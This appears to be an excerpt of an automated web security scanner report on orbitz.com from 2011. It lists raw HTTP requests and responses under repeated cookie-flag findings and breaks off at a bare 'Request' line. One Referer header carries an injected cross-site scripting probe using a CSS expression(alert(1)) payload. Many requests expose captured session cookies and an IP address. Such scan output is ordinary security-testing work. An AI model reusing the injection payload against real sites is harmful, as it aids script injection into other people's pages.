GET /shared/js/vendor/tealeaf.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
/* * Copyright . 1999-2010 TeaLeaf Technology, Inc. * All rights reserved. * * THIS SOFTWARE IS PROVIDED BY TEALEAF ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, * BUT NOT LIMITED ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/pagedef/content/air/max_passenger_popup.jsp?popupsDisabled=true HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><!-- IA Page ID: TODO ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/pagedef/content/dp/twoOrMoreRoomsPopup.jsp?plusThree=true&botId=aph HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><!-- IA Page ID: T ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shared/pagedef/content/legal/lowFarePromise.jsp?popupsDisabled=true HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><!-- IA Page ID: TODO ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Set-Cookie: dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C11231%7C+%7C%26%26HE; Expires=Thu, 03-Mar-2011 15:23:54 GMT; Path=/ Set-Cookie: myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____11231_2_1_1_1%7D; Expires=Wed, 01-Feb-2012 15:24:06 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Date: Tue, 01 Feb 2011 15:24:05 GMT Content-Length: 631035
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /site/js/jsAllTeaLeaf.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296342267897:ss=1296342267897; OSC=265DA875C314B0C54855FC80AB1B1D8C; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660 If-None-Match: "7af37-49a4d22738d00" If-Modified-Since: Thu, 20 Jan 2011 20:39:48 GMT
/* * Copyright . 1999-2010 TeaLeaf Technology, Inc. * All rights reserved. * * THIS SOFTWARE IS PROVIDED BY TEALEAF ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, * BUT NOT LIMITED ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/PartnerTracking?partnerUrl=TRAVELERUPDATE&z=2eb4&r=7 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: https://www.orbitz.com/Secure/PartnerTracking?partnerUrl=TRAVELERUPDATE&z=2eb4&r=7 Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/ViewMyAccount?z=2eb3&r=6&shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: https://www.orbitz.com/Secure/ViewMyAccount?z=2eb3&r=6&shadowing=false Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secure/SignIn?z=2eb0&r=3 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=D3DD8128C5377A40141A9858208488B0; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:13:30 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17640
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secure/ViewSecureCalendar?z=2ec6&r=p HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=95571C5B16DE6EDEF581BE2B2323412E; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Content-Length: 936 Date: Wed, 02 Feb 2011 16:15:35 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secure/ViewSetupCareAlertsProfile?z=2ed9&r=18&shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.orbitzforagents.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.orbitzforagents.com/sp/OrbitzforAge ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.php/XSS_(Cross_Site_Scripting HTTP/1.1 Host: www.owasp.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 07:49:16 GMT Server: Apache/2.2.14 (Fedora) Vary: Accept-Encoding,Cookie Content-language: en P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=0f2081f46781753f4bba5901cbda15b0; expires=Fri, 03-Feb-2012 07:49:17 GMT; path=/ X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=wiki15Token;string-contains=wiki15LoggedOut;string-contains=wiki15_session Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 16889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
